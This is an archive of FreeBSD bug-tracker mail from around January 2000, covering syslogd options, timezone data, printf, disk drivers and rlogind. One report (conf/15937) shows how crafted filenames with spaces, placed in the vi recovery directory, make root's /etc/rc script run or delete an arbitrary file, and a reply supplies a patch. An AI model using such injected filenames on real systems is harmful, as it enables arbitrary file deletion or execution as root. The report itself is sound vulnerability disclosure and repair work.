> To: toasty@dragondata.com > Cc: FreeBSD-gnats-submit@FreeBSD.ORG > Subject: Re: conf/15737: rc.conf should have '-s' for syslogd options > Date: Wed, 29 Dec 1999 14:31:56 +0200 > > On Tue, 28 Dec 1999 02:23:40 CST, Kevin Day wrote: > > > FreeBSD systems ship with syslogd enabled, but not with -s added to the > > command line. If the goal is to make systems secure 'out of the box', it > > would probably be wise to add -s. > > Don't you think it'd be even wiser to add -ss, once PR 15414 is > resolved? > > Ciao, > Sheldon. > Agreed. I completely missed this in the man page. :) Kevin To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message From owner-freebsd-bugs Thu Jan 6 2:46:42 2000 Delivered-To: freebsd-bugs@freebsd.org Received: from freefall.freebsd.org (freefall.FreeBSD.ORG [204.216.27.21]) by hub.freebsd.org (Postfix) with ESMTP id 88BB414BF9; Thu, 6 Jan 2000 02:46:41 -0800 (PST) (envelope-from ru@FreeBSD.org) Received: (from ru@localhost) by freefall.freebsd.org (8.9.3/8.9.2) id CAA93258; Thu, 6 Jan 2000 02:46:41 -0800 (PST) (envelope-from ru@FreeBSD.org) Date: Thu, 6 Jan 2000 02:46:41 -0800 (PST) From: Message-Id: <200001061046.CAA93258@freefall.freebsd.org> To: hohmuth@inf.tu-dresden.de, ru@FreeBSD.org, freebsd-bugs@FreeBSD.org Subject: Re: bin/13818: `ipfw' doesn't grok "log" keyword Sender: owner-freebsd-bugs@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Synopsis: `ipfw' doesn't grok "log" keyword State-Changed-From-To: open->closed State-Changed-By: ru State-Changed-When: Thu Jan 6 02:40:56 PST 2000 State-Changed-Why: Pilot error. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message From owner-freebsd-bugs Thu Jan 6 2:50: 9 2000 Delivered-To: freebsd-bugs@freebsd.org Received: from freefall.freebsd.org (freefall.FreeBSD.ORG [204.216.27.21]) by hub.freebsd.org (Postfix) with ESMTP id B49F1155A3 for ; Thu, 6 Jan 2000 02:50:02 -0800 (PST) (envelope-from gnats@FreeBSD.org) Received: (from gnats@localhost) by freefall.freebsd.org (8.9.3/8.9.2) id CAA94395; Thu, 6 Jan 2000 02:50:02 -0800 (PST) (envelope-from gnats@FreeBSD.org) Received: by hub.freebsd.org (Postfix, from userid 32767) id A504015078; Thu, 6 Jan 2000 02:42:31 -0800 (PST) Message-Id: <20000106104231.A504015078@hub.freebsd.org> Date: Thu, 6 Jan 2000 02:42:31 -0800 (PST) From: y-koga@jp.FreeBSD.org To: freebsd-gnats-submit@FreeBSD.org X-Send-Pr-Version: www-1.0 Subject: conf/15937: vi recover script in /etc/rc still remains unsolved. Sender: owner-freebsd-bugs@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org >Number: 15937 >Category: conf >Synopsis: vi recover script in /etc/rc still remains unsolved. >Confidential: no >Severity: critical >Priority: high >Responsible: freebsd-bugs >State: open >Quarter: >Keywords: >Date-Required: >Class: sw-bug >Submitter-Id: current-users >Arrival-Date: Thu Jan 6 02:50:02 PST 2000 >Closed-Date: >Last-Modified: >Originator: Koga Youichirou >Release: 2.2.8-STABLE, 3.4-RELEASE, and current >Organization: The FreeBSD Project (Japan) >Environment: >Description: About vi recover script in /etc/rc, this problem has been submitted by Mr. Kojima and Peter has committed already, but it still remains unsolved. Quoting filename(s) does not make sence, because it is splitted by space before then. >How-To-Repeat: case a) /foo is executable and user root can rm -f /foo: % echo a > '/var/tmp/vi.recover/vi. foo' case b) user root can rm -f /foo: % touch /var/tmp/vi.recover/recover. foo' >Fix: a) Change the working directory to /var/tmp/vi.recover or use full path, and it can't remove a file "/foo". However, it is no more than a temporary step. b) Use "ls" and replace white spaces with some charcters. e.g.) SPACE => /s TAB => /t then restore as before and quote word(s) in "for" block. Probably there are better solutions than above. >Release-Note: >Audit-Trail: >Unformatted: To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message From owner-freebsd-bugs Thu Jan 6 3:20:13 2000 Delivered-To: freebsd-bugs@freebsd.org Received: from freefall.freebsd.org (freefall.FreeBSD.ORG [204.216.27.21]) by hub.freebsd.org (Postfix) with ESMTP id 16348155DA for ; Thu, 6 Jan 2000 03:20:03 -0800 (PST) (envelope-from gnats@FreeBSD.org) Received: (from gnats@localhost) by freefall.freebsd.org (8.9.3/8.9.2) id DAA04712; Thu, 6 Jan 2000 03:20:02 -0800 (PST) (envelope-from gnats@FreeBSD.org) Date: Thu, 6 Jan 2000 03:20:02 -0800 (PST) Message-Id: <200001061120.DAA04712@freefall.freebsd.org> To: freebsd-bugs@FreeBSD.org Cc: From: Peter Wemm Subject: Re: conf/15937: vi recover script in /etc/rc still remains unsolved. Reply-To: Peter Wemm Sender: owner-freebsd-bugs@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org The following reply was made to PR conf/15937; it has been noted by GNATS. From: Peter Wemm To: y-koga@jp.FreeBSD.org Cc: freebsd-gnats-submit@FreeBSD.org Subject: Re: conf/15937: vi recover script in /etc/rc still remains unsolved. Date: Thu, 06 Jan 2000 19:14:38 +0800 y-koga@jp.FreeBSD.org wrote: > >Description: > About vi recover script in /etc/rc, this problem has been submitted by Mr. Ko jima > and Peter has committed already, but it still remains unsolved. > > Quoting filename(s) does not make sence, because it is splitted by space befo re then. Can you please check a patch along these lines? This stops the split in the first place. Index: rc =================================================================== RCS file: /home/ncvs/src/etc/rc,v retrieving revision 1.207 diff -u -r1.207 rc --- rc 2000/01/05 09:19:27 1.207 +++ rc 2000/01/06 11:13:26 @@ -433,7 +433,7 @@ vibackup=`echo /var/tmp/vi.recover/vi.*` if [ "${vibackup}" != '/var/tmp/vi.recover/vi.*' ]; then echo 'Recovering vi editor sessions' - for i in ${vibackup}; do + for i in /var/tmp/vi.recover/vi.*; do # Only test files that are readable. if [ ! -r "${i}" ]; then continue @@ -450,7 +450,7 @@ # crashes at the right time. virecovery=`echo /var/tmp/vi.recover/recover.*` if [ "${virecovery}" != "/var/tmp/vi.recover/recover.*" ]; then - for i in ${virecovery}; do + for i in /var/tmp/vi.recover/recover.*; do # Only test files that are readable. if [ ! -r "${i}" ]; then continue Cheers, -Peter To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message From owner-freebsd-bugs Thu Jan 6 3:30: 3 2000 Delivered-To: freebsd-bugs@freebsd.org Received: from freefall.freebsd.org (freefall.FreeBSD.ORG [204.216.27.21]) by hub.freebsd.org (Postfix) with ESMTP id 937A215588 for ; Thu, 6 Jan 2000 03:30:02 -0800 (PST) (envelope-from gnats@FreeBSD.org) Received: (from gnats@localhost) by freefall.freebsd.org (8.9.3/8.9.2) id DAA05854; Thu, 6 Jan 2000 03:30:02 -0800 (PST) (envelope-from gnats@FreeBSD.org) Date: Thu, 6 Jan 2000 03:30:02 -0800 (PST) Message-Id: <200001061130.DAA05854@freefall.freebsd.org> To: freebsd-bugs@FreeBSD.org Cc: From: Koga Youichirou Subject: Re: conf/15937: vi recover script in /etc/rc still remains unsolved. Reply-To: Koga Youichirou Sender: owner-freebsd-bugs@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org The following reply was made to PR conf/15937; it has been noted by GNATS. From: Koga Youichirou To: peter@netplex.com.au Cc: freebsd-gnats-submit@FreeBSD.org Subject: Re: conf/15937: vi recover script in /etc/rc still remains unsolved. Date: Thu, 06 Jan 2000 20:21:10 +0900 (JST) Peter Wemm : > Can you please check a patch along these lines? This stops the split in the > first place. It seems to work successfully. -- Koga, Youichirou To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message From owner-freebsd-bugs Thu Jan 6 3:37:10 2000 Delivered-To: freebsd-bugs@freebsd.org Received: from freefall.freebsd.org (freefall.FreeBSD.ORG [204.216.27.21]) by hub.freebsd.org (Postfix) with ESMTP id 6DE1614F87; Thu, 6 Jan 2000 03:37:05 -0800 (PST) (envelope-from ru@FreeBSD.org) Received: (from ru@localhost) by freefall.freebsd.org (8.9.3/8.9.2) id DAA06725; Thu, 6 Jan 2000 03:37:05 -0800 (PST) (envelope-from ru@FreeBSD.org) Date: Thu, 6 Jan 2000 03:37:05 -0800 (PST) From: Message-Id: <200001061137.DAA06725@freefall.freebsd.org> To: jan@caustic.org, ru@FreeBSD.org, freebsd-bugs@FreeBSD.org Subject: Re: misc/15474: time server entry in /etc/services on freebsd 3.x Sender: owner-freebsd-bugs@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Synopsis: time server entry in /etc/services on freebsd 3.x State-Changed-From-To: open->closed State-Changed-By: ru State-Changed-When: Thu Jan 6 03:34:24 PST 2000 State-Changed-Why: Explanation has been given, originator did not object. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message From owner-freebsd-bugs Thu Jan 6 4:30: 4 2000 Delivered-To: freebsd-bugs@freebsd.org Received: from freefall.freebsd.org (freefall.FreeBSD.ORG [204.216.27.21]) by hub.freebsd.org (Postfix) with ESMTP id 81D391560A for ; Thu, 6 Jan 2000 04:30:02 -0800 (PST) (envelope-from gnats@FreeBSD.org) Received: (from gnats@localhost) by freefall.freebsd.org (8.9.3/8.9.2) id EAA97106; Thu, 6 Jan 2000 04:30:02 -0800 (PST) (envelope-from gnats@FreeBSD.org) Received: from mx.nkm.lt (mx.nkm.lt [193.219.211.9]) by hub.freebsd.org (Postfix) with SMTP id 115CD15602 for ; Thu, 6 Jan 2000 04:22:27 -0800 (PST) (envelope-from midom@mx.nkm.lt) Received: (qmail 7699 invoked by uid 1073); 6 Jan 2000 12:22:24 -0000 Message-Id: <20000106122224.7698.qmail@mx.nkm.lt> Date: 6 Jan 2000 12:22:24 -0000 From: Domas Mituzas Reply-To: Domas Mituzas To: FreeBSD-gnats-submit@freebsd.org X-Send-Pr-Version: 3.2 Subject: conf/15942: Time zone difference Sender: owner-freebsd-bugs@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org >Number: 15942 >Category: conf >Synopsis: Europe/Vilnius is in EET since last autumn >Confidential: no >Severity: serious >Priority: high >Responsible: freebsd-bugs >State: open >Quarter: >Keywords: >Date-Required: >Class: change-request >Submitter-Id: current-users >Arrival-Date: Thu Jan 6 04:30:01 PST 2000 >Closed-Date: >Last-Modified: >Originator: Domas Mituzas >Release: FreeBSD 3.4-STABLE i386 >Organization: Duomenu bazes ir technologijos >Environment: FreeBSD home2.dammit.lt 3.4-STABLE FreeBSD 3.4-STABLE #0: Mon Jan 3 00:24:17 EET 2000 root@home2.dammit.lt:/usr/src/sys/compile/DMHOME i386 >Description: Lithuania government likes to puzzle poor system administrators. It has changed the timezone last autumn again into CET. >How-To-Repeat: go to /usr/share/zoneinfo and observe. or try sysinstall >Fix: --- src/share/zoneinfo/europe Thu Feb 18 13:43:04 1999 +++ src/share/zoneinfo/europe.new Thu Jan 6 14:07:47 2000 @@ -1695,7 +1695,9 @@ 2:00 1:00 EEST 1991 Sep 29 2:00s 2:00 C-Eur EE%sT 1998 2:00 - EET 1998 Mar 29 1:00u - 1:00 EU CE%sT + 1:00 EU CE%sT 1999 Sep 29 2:20s + 2:00 C-Eur EE%sT + # From Paul Eggert (1996-11-22): # IATA SSIM (1992/1996) says Lithuania uses W-Eur rules, but since it is # known to be wrong about Estonia and Latvia, assume it's wrong here too. @@ -1703,6 +1705,9 @@ # From Marius Gedminas (1998-08-07): # I would like to inform that in this year Lithuanian time zone # (Europe/Vilnius) was changed. + +# From Domas Mituzas (2000-01-05): +# Lithuania (Europe/Vilnius) turned from CET into EET last autumn again. # Luxembourg # Whitman disagrees with most of these dates in minor ways; go with Shanks. >Release-Note: >Audit-Trail: >Unformatted: To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message From owner-freebsd-bugs Thu Jan 6 4:50: 5 2000 Delivered-To: freebsd-bugs@freebsd.org Received: from freefall.freebsd.org (freefall.FreeBSD.ORG [204.216.27.21]) by hub.freebsd.org (Postfix) with ESMTP id 6B93115642 for ; Thu, 6 Jan 2000 04:50:01 -0800 (PST) (envelope-from gnats@FreeBSD.org) Received: (from gnats@localhost) by freefall.freebsd.org (8.9.3/8.9.2) id EAA99538; Thu, 6 Jan 2000 04:50:01 -0800 (PST) (envelope-from gnats@FreeBSD.org) Received: from mx.nkm.lt (mx.nkm.lt [193.219.211.9]) by hub.freebsd.org (Postfix) with SMTP id 9499A155C6 for ; Thu, 6 Jan 2000 04:49:24 -0800 (PST) (envelope-from midom@mx.nkm.lt) Received: (qmail 8772 invoked by uid 1073); 6 Jan 2000 12:49:21 -0000 Message-Id: <20000106124921.8771.qmail@mx.nkm.lt> Date: 6 Jan 2000 12:49:21 -0000 From: midom@dammit.lt Reply-To: midom@dammit.lt To: FreeBSD-gnats-submit@freebsd.org X-Send-Pr-Version: 3.2 Subject: conf/15943: oops, the correction of timezone. Sender: owner-freebsd-bugs@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org >Number: 15943 >Category: conf >Synopsis: An exact fix to change timezone information for Europe/Vilnius >Confidential: no >Severity: serious >Priority: high >Responsible: freebsd-bugs >State: open >Quarter: >Keywords: >Date-Required: >Class: change-request >Submitter-Id: current-users >Arrival-Date: Thu Jan 6 04:50:01 PST 2000 >Closed-Date: >Last-Modified: >Originator: Domas Mituzas >Release: FreeBSD 3.4-STABLE i386 >Organization: Duomenu bazes ir technologijos >Environment: FreeBSD home2.dammit.lt 3.4-STABLE FreeBSD 3.4-STABLE #0: Mon Jan 3 00:24:17 EET 2000 root@home2.dammit.lt:/usr/src/sys/compile/DMHOME i386 >Description: This PR supersedes/fixes conf/15942 >How-To-Repeat: check the /usr/src/share/zoneinfo >Fix: --- src/share/zoneinfo/europe Thu Feb 18 13:43:04 1999 +++ src/share/zoneinfo/europe.new Thu Jan 6 14:07:47 2000 @@ -1695,7 +1695,9 @@ 2:00 1:00 EEST 1991 Sep 29 2:00s 2:00 C-Eur EE%sT 1998 2:00 - EET 1998 Mar 29 1:00u - 1:00 EU CE%sT + 1:00 EU CE%sT 1999 Oct 31 2:00s + 2:00 C-Eur EE%sT + # From Paul Eggert (1996-11-22): # IATA SSIM (1992/1996) says Lithuania uses W-Eur rules, but since it is # known to be wrong about Estonia and Latvia, assume it's wrong here too. @@ -1703,6 +1705,9 @@ # From Marius Gedminas (1998-08-07): # I would like to inform that in this year Lithuanian time zone # (Europe/Vilnius) was changed. + +# From Domas Mituzas (2000-01-05): +# Lithuania (Europe/Vilnius) turned from CET into EET last autumn again. # Luxembourg # Whitman disagrees with most of these dates in minor ways; go with Shanks. >Release-Note: >Audit-Trail: >Unformatted: To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message From owner-freebsd-bugs Thu Jan 6 5: 4:27 2000 Delivered-To: freebsd-bugs@freebsd.org Received: from freefall.freebsd.org (freefall.FreeBSD.ORG [204.216.27.21]) by hub.freebsd.org (Postfix) with ESMTP id 64340155E4; Thu, 6 Jan 2000 05:04:22 -0800 (PST) (envelope-from ru@FreeBSD.org) Received: (from ru@localhost) by freefall.freebsd.org (8.9.3/8.9.2) id FAA00858; Thu, 6 Jan 2000 05:04:21 -0800 (PST) (envelope-from ru@FreeBSD.org) Date: Thu, 6 Jan 2000 05:04:21 -0800 (PST) From: Message-Id: <200001061304.FAA00858@freefall.freebsd.org> To: midom@dammit.lt, ru@FreeBSD.org, freebsd-bugs@FreeBSD.org Subject: Re: conf/15942: Europe/Vilnius is in EET since last autumn Sender: owner-freebsd-bugs@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Synopsis: Europe/Vilnius is in EET since last autumn State-Changed-From-To: open->closed State-Changed-By: ru State-Changed-When: Thu Jan 6 05:02:27 PST 2000 State-Changed-Why: Superseded by conf/15943. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message From owner-freebsd-bugs Thu Jan 6 7:50: 3 2000 Delivered-To: freebsd-bugs@freebsd.org Received: from freefall.freebsd.org (freefall.FreeBSD.ORG [204.216.27.21]) by hub.freebsd.org (Postfix) with ESMTP id 8B11A155DE for ; Thu, 6 Jan 2000 07:50:02 -0800 (PST) (envelope-from gnats@FreeBSD.org) Received: (from gnats@localhost) by freefall.freebsd.org (8.9.3/8.9.2) id HAA70549; Thu, 6 Jan 2000 07:50:02 -0800 (PST) (envelope-from gnats@FreeBSD.org) Date: Thu, 6 Jan 2000 07:50:02 -0800 (PST) Message-Id: <200001061550.HAA70549@freefall.freebsd.org> To: freebsd-bugs@FreeBSD.org Cc: From: Sheldon Hearn Subject: Re: bin/15929: printf(1) truncates if it sees 000 Reply-To: Sheldon Hearn Sender: owner-freebsd-bugs@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org The following reply was made to PR bin/15929; it has been noted by GNATS. From: Sheldon Hearn To: archie@whistle.com Cc: FreeBSD-gnats-submit@freebsd.org Subject: Re: bin/15929: printf(1) truncates if it sees 000 Date: Thu, 06 Jan 2000 17:43:39 +0200 On Wed, 05 Jan 2000 17:14:14 PST, Archie Cobbs wrote: > $ printf 'a\000truncated\n' > > This outputs "a" instead of "atruncated" What would you expect to happen, given that printf(3) exhibits the same behaviour? Ciao, Sheldon. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message From owner-freebsd-bugs Thu Jan 6 9: 0:14 2000 Delivered-To: freebsd-bugs@freebsd.org Received: from freefall.freebsd.org (freefall.FreeBSD.ORG [204.216.27.21]) by hub.freebsd.org (Postfix) with ESMTP id 5F91215749 for ; Thu, 6 Jan 2000 09:00:02 -0800 (PST) (envelope-from gnats@FreeBSD.org) Received: (from gnats@localhost) by freefall.freebsd.org (8.9.3/8.9.2) id JAA78006; Thu, 6 Jan 2000 09:00:02 -0800 (PST) (envelope-from gnats@FreeBSD.org) Date: Thu, 6 Jan 2000 09:00:02 -0800 (PST) Message-Id: <200001061700.JAA78006@freefall.freebsd.org> To: freebsd-bugs@FreeBSD.org Cc: From: Garrett Wollman Subject: conf/15943: oops, the correction of timezone. Reply-To: Garrett Wollman Sender: owner-freebsd-bugs@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org The following reply was made to PR conf/15943; it has been noted by GNATS. From: Garrett Wollman To: midom@dammit.lt Cc: FreeBSD-gnats-submit@FreeBSD.ORG Subject: conf/15943: oops, the correction of timezone. Date: Thu, 6 Jan 2000 11:55:41 -0500 (EST) <> Fix: > --- src/share/zoneinfo/europe Thu Feb 18 13:43:04 1999 > +++ src/share/zoneinfo/europe.new Thu Jan 6 14:07:47 2000 Please compare your fix with the data files on ftp://elsie.nci.nih.gov/ (in the latest tzdata*.tar.gz). -GAWollman -- Garrett A. Wollman | O Siem / We are all family / O Siem / We're all the same wollman@lcs.mit.edu | O Siem / The fires of freedom Opinions not those of| Dance in the burning flame MIT, LCS, CRS, or NSA| - Susan Aglukark and Chad Irschick To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message From owner-freebsd-bugs Thu Jan 6 9:40: 4 2000 Delivered-To: freebsd-bugs@freebsd.org Received: from freefall.freebsd.org (freefall.FreeBSD.ORG [204.216.27.21]) by hub.freebsd.org (Postfix) with ESMTP id D376A15776 for ; Thu, 6 Jan 2000 09:40:01 -0800 (PST) (envelope-from gnats@FreeBSD.org) Received: (from gnats@localhost) by freefall.freebsd.org (8.9.3/8.9.2) id JAA81806; Thu, 6 Jan 2000 09:40:01 -0800 (PST) (envelope-from gnats@FreeBSD.org) Date: Thu, 6 Jan 2000 09:40:01 -0800 (PST) Message-Id: <200001061740.JAA81806@freefall.freebsd.org> To: freebsd-bugs@FreeBSD.org Cc: From: Archie Cobbs Subject: Re: bin/15929: printf(1) truncates if it sees 000 Reply-To: Archie Cobbs Sender: owner-freebsd-bugs@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org The following reply was made to PR bin/15929; it has been noted by GNATS. From: Archie Cobbs To: sheldonh@uunet.co.za (Sheldon Hearn) Cc: archie@whistle.com, FreeBSD-gnats-submit@freebsd.org Subject: Re: bin/15929: printf(1) truncates if it sees 000 Date: Thu, 6 Jan 2000 09:33:49 -0800 (PST) Sheldon Hearn writes: > > $ printf 'a\000truncated\n' > > > > This outputs "a" instead of "atruncated" > > What would you expect to happen, given that printf(3) exhibits the same > behaviour? No, I'm not at all surprised. But that's not the point, of course. Either the bug should be fixed or else at least declared 'normal' and so documented in the man page. -Archie ___________________________________________________________________________ Archie Cobbs * Whistle Communications, Inc. * http://www.whistle.com To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message From owner-freebsd-bugs Thu Jan 6 11:12:51 2000 Delivered-To: freebsd-bugs@freebsd.org Received: from paralleldata.com (smtp.paralleldata.com [38.153.145.2]) by hub.freebsd.org (Postfix) with ESMTP id 2F1B314C80 for ; Thu, 6 Jan 2000 11:12:14 -0800 (PST) (envelope-from wsb@paralleldata.com) Received: by paralleldata.com from localhost (router,SLMail V2.5); Thu, 06 Jan 2000 13:17:42 -0600 Received: by paralleldata.com from paralleldata.com (209.186.235.66::mail daemon; unverified,SLMail V2.5); Thu, 06 Jan 2000 13:17:41 -0600 Message-ID: <3874E75B.CF25FCBD@paralleldata.com> Date: Thu, 06 Jan 2000 13:04:59 -0600 From: "Wes Bauske" Organization: Parallel Data Systems Inc. X-Mailer: Mozilla 4.51 [en] (X11; I; Linux 2.2.5-15 i686) X-Accept-Language: en MIME-Version: 1.0 To: mjacob@feral.com Cc: freebsd-bugs@FreeBSD.ORG Subject: Re: kern/15611: EIDE Large Disk Support, Newfs problem, File systemcorruption,IBM-DPTA-353750 References: Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-bugs@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Matthew Jacob wrote: > > I don't think a 4.0 kernel on to of 3.x works very well- probably does, > but why stretch it? I have no idea about the upgrade path- I just do a > forklift upgrade myself. > > Go via ftp to current.freebsd.org /pub/FreeBSD/snapshots/i386 and > select anyone of a number of snapshots. Basically I just snarf the floppy > images and boot those and install across the wire- even with 144Kbit DSL > it's not too bad. > > On Wed, 5 Jan 2000, Wes Bauske wrote: > > > Matthew Jacob wrote: > > > > > > > So, do I need a different kernel to pick up this new ata1 > > > > driver?? Is this available in the 3.4 kernel config? > > > > > > This is a 4.0 thing, I believe. It's a driver that's in better shape > > > than wd. > > > > I've looked at the 4.0-CURRENT directory on ftp.cdrom.com/pub/FreeBSD > > and it's not clear to me where to get the newest kernel > > from. Exactly how much do I have to upgrade to get the same > > kernel you're using? If its an FAQ, point me at it... > > > > Thanks, > > > > Wes > > OK, I tried the latest two versions of boot floppies from current.FreeBSD.org and both fail to get to the point where I can do an install. Any preferences on which date snapshot for 4.0 I should try?? One got to the point where it put up the sysinstall menu but I couldn't use the keyboard to navigate the menus. The other wouldn't boot saying it couldn't load /kernel. Wes To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message From owner-freebsd-bugs Thu Jan 6 11:16:24 2000 Delivered-To: freebsd-bugs@freebsd.org Received: from feral.com (feral.com [192.67.166.1]) by hub.freebsd.org (Postfix) with ESMTP id 5664B14F7B for ; Thu, 6 Jan 2000 11:16:21 -0800 (PST) (envelope-from mjacob@feral.com) Received: from semuta.feral.com (semuta [192.67.166.70]) by feral.com (8.9.3/8.9.3) with ESMTP id LAA18641; Thu, 6 Jan 2000 11:16:12 -0800 Date: Thu, 6 Jan 2000 11:16:11 -0800 (PST) From: Matthew Jacob Reply-To: mjacob@feral.com To: Wes Bauske , "Jordan K. Hubbard" Cc: freebsd-bugs@FreeBSD.ORG Subject: Re: kern/15611: EIDE Large Disk Support, Newfs problem, File systemcorruption,IBM-DPTA-353750 In-Reply-To: <3874E75B.CF25FCBD@paralleldata.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-bugs@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org > OK, I tried the latest two versions of boot floppies > from current.FreeBSD.org and both fail to get to the > point where I can do an install. Any preferences on > which date snapshot for 4.0 I should try?? > > One got to the point where it put up the sysinstall > menu but I couldn't use the keyboard to navigate the > menus. The other wouldn't boot saying it couldn't > load /kernel. Boy, that sucks. Jordan? To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message From owner-freebsd-bugs Thu Jan 6 11:52: 4 2000 Delivered-To: freebsd-bugs@freebsd.org Received: from zippy.cdrom.com (zippy.cdrom.com [204.216.27.228]) by hub.freebsd.org (Postfix) with ESMTP id 88520156FD for ; Thu, 6 Jan 2000 11:52:02 -0800 (PST) (envelope-from jkh@zippy.cdrom.com) Received: from zippy.cdrom.com (localhost [127.0.0.1]) by zippy.cdrom.com (8.9.3/8.9.3) with ESMTP id LAA01695; Thu, 6 Jan 2000 11:51:50 -0800 (PST) (envelope-from jkh@zippy.cdrom.com) To: mjacob@feral.com Cc: Wes Bauske , "Jordan K. Hubbard" , freebsd-bugs@FreeBSD.ORG Subject: Re: kern/15611: EIDE Large Disk Support, Newfs problem, File systemcorruption,IBM-DPTA-353750 In-reply-to: Your message of "Thu, 06 Jan 2000 11:16:11 PST." Date: Thu, 06 Jan 2000 11:51:50 -0800 Message-ID: <1693.947188310@zippy.cdrom.com> From: "Jordan K. Hubbard" Sender: owner-freebsd-bugs@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Hurm, I don't have those results at all the Alpha snapshots I've tried. Perhaps we could hear a bit more about the specific versions used and the hardware in question? - Jordan > > > OK, I tried the latest two versions of boot floppies > > from current.FreeBSD.org and both fail to get to the > > point where I can do an install. Any preferences on > > which date snapshot for 4.0 I should try?? > > > > One got to the point where it put up the sysinstall > > menu but I couldn't use the keyboard to navigate the > > menus. The other wouldn't boot saying it couldn't > > load /kernel. > > Boy, that sucks. Jordan? > > To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message From owner-freebsd-bugs Thu Jan 6 14: 5:57 2000 Delivered-To: freebsd-bugs@freebsd.org Received: from cs.rice.edu (cs.rice.edu [128.42.1.30]) by hub.freebsd.org (Postfix) with ESMTP id 9EACC15753; Thu, 6 Jan 2000 14:05:44 -0800 (PST) (envelope-from aron@cs.rice.edu) Received: (from aron@localhost) by cs.rice.edu (8.9.0/8.9.0) id QAA08491; Thu, 6 Jan 2000 16:05:37 -0600 (CST) From: Mohit Aron Message-Id: <200001062205.QAA08491@cs.rice.edu> Subject: rlogind message in /var/log/messages To: freebsd-bugs@freebsd.org Date: Thu, 6 Jan 2000 16:05:37 -0600 (CST) Cc: freebsd-current@freebsd.org X-Mailer: ELM [version 2.4 PL25] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-bugs@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Hi, I upgraded FreeBSD-3.3 to FreeBSD-current (snapshot from Jan 3) recently. I'm getting error messages of the form: Jan 6 10:56:17 idli rlogind[1806]: no modules loaded for `rshd' service Jan 6 10:56:17 idli rlogind[1806]: auth_pam: Permission denied Jan 6 10:56:17 idli rlogind[1806]: PAM authentication failed in /var/log/messages each time I do a remote login (using rsh or rlogin). Can this problem be fixed for the FreeBSD-4.0 release if possible. Thanks, - Mohit To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message From owner-freebsd-bugs Thu Jan 6 14:18:26 2000 Delivered-To: freebsd-bugs@freebsd.org Received: from awfulhak.org (dynamic-80.max4-du-ws.dialnetwork.pavilion.co.uk [212.74.9.208]) by hub.freebsd.org (Postfix) with ESMTP id 3919815790 for ; Thu, 6 Jan 2000 14:18:16 -0800 (PST) (envelope-from brian@Awfulhak.org) Received: from hak.lan.Awfulhak.org (root@hak.lan.Awfulhak.org [172.16.0.12]) by awfulhak.org (8.9.3/8.9.3) with ESMTP id WAA94562; Thu, 6 Jan 2000 22:18:11 GMT (envelope-from brian@lan.awfulhak.org) Received: from hak.lan.Awfulhak.org (localhost.lan.Awfulhak.org [127.0.0.1]) by hak.lan.Awfulhak.org (8.9.3/8.9.3) with ESMTP id TAA00473; Thu, 6 Jan 2000 19:27:52 GMT (envelope-from brian@hak.lan.Awfulhak.org) Message-Id: <200001061927.TAA00473@hak.lan.Awfulhak.org> X-Mailer: exmh version 2.1.0 09/18/1999 To: Garrett Wollman Cc: freebsd-bugs@FreeBSD.org Subject: Re: bin/15906: rcmd(3) prototype disagrees with definition In-Reply-To: Message from Garrett Wollman of "Wed, 05 Jan 2000 09:40:02 PST." <200001051740.JAA13901@freefall.freebsd.org> Date: Thu, 06 Jan 2000 19:27:52 +0000 From: Brian Somers Sender: owner-freebsd-bugs@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org > The following reply was made to PR bin/15906; it has been noted by GNATS. > > From: Garrett Wollman > To: naddy@mips.rhein-neckar.de > Cc: FreeBSD-gnats-submit@FreeBSD.ORG > Subject: bin/15906: rcmd(3) prototype disagrees with definition > Date: Wed, 5 Jan 2000 12:30:19 -0500 (EST) > > < said: > > >> Synopsis: rcmd(3) prototype disagrees with definition > > No, it does not. > > > int rcmd __P((char **, int, const char *, > > const char *, const char *, int *)); > > This is the correct prototype for a declaration of the form: > > > int > > rcmd(ahost, rport, locuser, remuser, cmd, fd2p) > > char **ahost; > > u_short rport; > > const char *locuser, *remuser, *cmd; > > int *fd2p; > > > 